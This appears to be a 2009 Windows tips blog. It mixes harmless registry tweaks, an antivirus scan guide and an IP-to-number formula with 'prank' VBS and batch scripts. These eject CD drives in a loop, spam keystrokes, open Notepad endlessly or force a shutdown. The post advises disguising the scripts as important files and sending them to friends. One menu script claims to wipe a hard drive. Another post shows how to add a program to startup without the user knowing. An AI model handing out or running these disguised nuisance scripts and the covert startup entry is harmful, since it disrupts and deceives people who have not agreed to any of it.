Wednesday, October 14, 2009

Automatically Close the "Non Responding" program!!!!!!!!

When an application fails to respond during shutdown a dialog box is displayed prompting the user to either end it now or to wait. Enabling the value AutoEndTasks will take care of the non-responding application without user intervention.


This is how to do it


To Implement for All Users

[Start] [Run] [Regedit]
Registry Key: HKEY_USERS\.DEFAULT\Control Panel\Desktop
Data Type: REG_SZ [String Value] // Value Name: AutoEndTasks
Modify/Create the Value Name [AutoEndTasks] according to the Value Data listed below.
Value Data: [0 = AutoEndTasks Disabled / 1 = AutoEndTasks Enabled]
Exit Registry and Reboot

To Implement for Individual Users

[Start] [Run] [Regedit]
Registry Key: HKEY_CURRENT_USER\Control Panel\Desktop
Data Type: REG_SZ [String Value] // Value Name: AutoEndTasks
Modify/Create the Value Name [AutoEndTasks] according to the Value Data listed below.
Value Data: [0 = AutoEndTasks Disabled / 1 = AutoEndTasks Enabled]
Exit Registry and Reboot

Enjoy guys

How To Stop : Virus That Will Open And Close Your Cdrom

When somebody opens the 'virus' the CD/DVDROMs of it's computer
will open and close until you go crazy because it can be stopped by closing the CD/DVDROMs.

4. The only way to stop this is to press CTRL+ALT+DEL and stop the process wscript.exe.



How To Log On Automatically On Windows Vista -==SBX==-

Sometimes you don't have extremely important or sensitive information on your computer ( for example a gaming computer ) and you don't like to log in every single time you reboot your computer.

You can set your computer to log in automatically.

1. Type control userpasswords2 into the Start menu search box and press Enter to go to Advanced User Accounts Control Panel.



2. Uncheck the box "Users must enter a user name and password to use this computer", and then press Apply. Enter the right username and password in the boxes shown. Press OK.



Now your computer will log in automatically each time you start it.

A Self-Made Virus That Will Open And Close Your Cdrom

Well,its a virus and a prank! you can even modify it.


Code:
Set oWMP = CreateObject("WMPlayer.OCX.7" ) Set colCDROMs = oWMP.cdromCollection if colCDROMs.Count >= 1 then do For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next ' cdrom For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next ' cdrom loop End If


Quote:
copy this into notepad and save it as anyname.vbs like virus.vbs
and then double click on it...what u see....bingo

Now if u want to disable this go to task manager click on process
then find wscript.exe and end this process.

Rename it,so that it looks something important and then send it to all your friends to annoy them.

10 notepad triks 2 fool ur frnds

1>
Toggle your friend's Caps Lock button simultaneously:

Open Notepad and Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


Save it as "Anything.VBS" and send it

2>olredy posted
Continuously pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


Save it as "Anything.VBS" and send it.


3>
Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop


Save it as "Anything.VBS" and send it.


4>
Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


Save it as "Anything.VBS" and send it.


5>olredy posted
Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "


Save it as "Anything.VBS" and send it.



6>
Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


Save it as "Anything.VBS" and send it.


7>
Cycle a message in your friend's computer:

Type :

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN


Save it as "Anything.BAT" and send it.


8>
Convey your friend a lil' message and shut down his / her computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s


Save it as "Anything.BAT" in All Files and send it.



9>
Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


Save it as "Anything.BAT" and send it.


10>

Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown

Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two


Save it as "Anything.BAT" and send it.



Tuesday, October 13, 2009

Steps to Write Protect your USB Pen Drive

Steps to make your drive Write Protected:

1. Open Registry Editor by typing regedit in Run dialog.

2. Navigate to the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\

3. Find a sub key inside it named “StorageDevicePolicies”. If it does not exist there then we need to make it. Right click on “Control” key -> New -> Key. Name it “StorageDevicePolicies” without quotes.



4. Now right click on this newly created key and then click New -> DWORD value and name it as “WriteProtect”.



5. Modify this key and give it a value 1.



6. Click OK, and remember to restart the PC.

Now no more data can be transferred to the drive but to start using the drive again just give the “WriteProtect” key a value of 0 instead of 1 and restart the PC.

So any thoughts how you are going to use this trick?

How to add a file to startup without the user knowing

This can be quite dangerous and if the program is deleted it will lagg their computer alot. This is mainly used to a batch file also known as a .bat file to run on the start up of windows.... Just copy the following.

@echo off
reg add
HKEY_LOCAL_MACHINE\Software\Mi crosoft\Windows\CurrentVersion \Run /v test /t reg_sz /d C:\Program Files\WHATEVERTHEFILEISYOUWANTTOAD.THEEXTENTION

You must have the file after the /d ready before you add the regkey or it will not work...

error of Removing the DisableRegistryTools

go Run


"REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f"

how to scan pc without inastll anti virus DOS mode

NOTE: (First Delet all the Temporary files in all machine before scanning Because it get much more time consuming)

• DOWNLOAD THE LATEST VIRUS DEFINATION FILE FROM INTERNET (Download only SDAT file)

http://www.mcafee.com/apps/downloads/security_updates/superdat.asp?region=us&segment=enterprise

• CREATE SCAN AS A TEMPORARY FOLDER ON THE ROOT DIRECTORY
( C DRIVE) .

• COPY THE LATEST SUPERDAT FILE i.e. SDAT4XXX.EXE INTO THE SCAN FOLDER.

• OPEN SCAN FOLDER ALSO OPEN RUN BOX & DRAG SDAT IN THAT RUN BOX GO TO END OF PATH SPACE FORWORD SLASH & THAN TYPE E

eg. C:\scan\sdatxxx.exe /e

(This will extract all required files to scan in SCAN folder)

COPY SCAN.BATCH FILE IN SCAN FOLDER*

• BOOT THE MACHINE IN COMMAND PROMPT (PRESS F8 KEY)

• CHOOSE COMMAND PROMPT ONLY OPTION.

• COME TO C:\SCAN
C:\Documents and Settings\Administrator>cd\

C:\>cd scan

C:\scan>
================================================== ================================================== ================
SCRIPT OF SCAN.BAT
================================================== ========
echo off
cd\
cd scan
scan /adl /clean /all /analyze /secure /program /streams /mime /mailbox /allole /rpterr /rptcor /winmem /report vIRUS.txt
================================================== ========
*IT IS SCRIPT OF SCAN.BAT

Convert an IP address to an IP Number

IP address (IPv4 / IPv6) is divided into 4 sub-blocks. Each sub-block has a different weight number each powered by 256. IP number is being used in the database because it is efficient to search between a range of number in database.

Beginning IP number and Ending IP Number are calculated based on following formula:

IP Number = 16777216*w + 65536*x + 256*y + z (Formula 1)

where
IP Address = w.x.y.z

For example, if IP address is "202.186.13.4", then its IP Number "3401190660" is based on the Formula 1.

IP Address = 202.186.13.4

So, w = 202, x = 186, y = 13 and z = 4

IP Number = 16777216*202 + 65536*186 + 256*13 + 4
= 3388997632 + 12189696 + 3328 + 4
= 3401190660

To reverse IP number to IP address,

w = int ( IP Number / 16777216 ) % 256
x = int ( IP Number / 65536 ) % 256
y = int ( IP Number / 256 ) % 256
z = int ( IP Number ) % 256

where % is the mod operator and int is return the integer part of the division.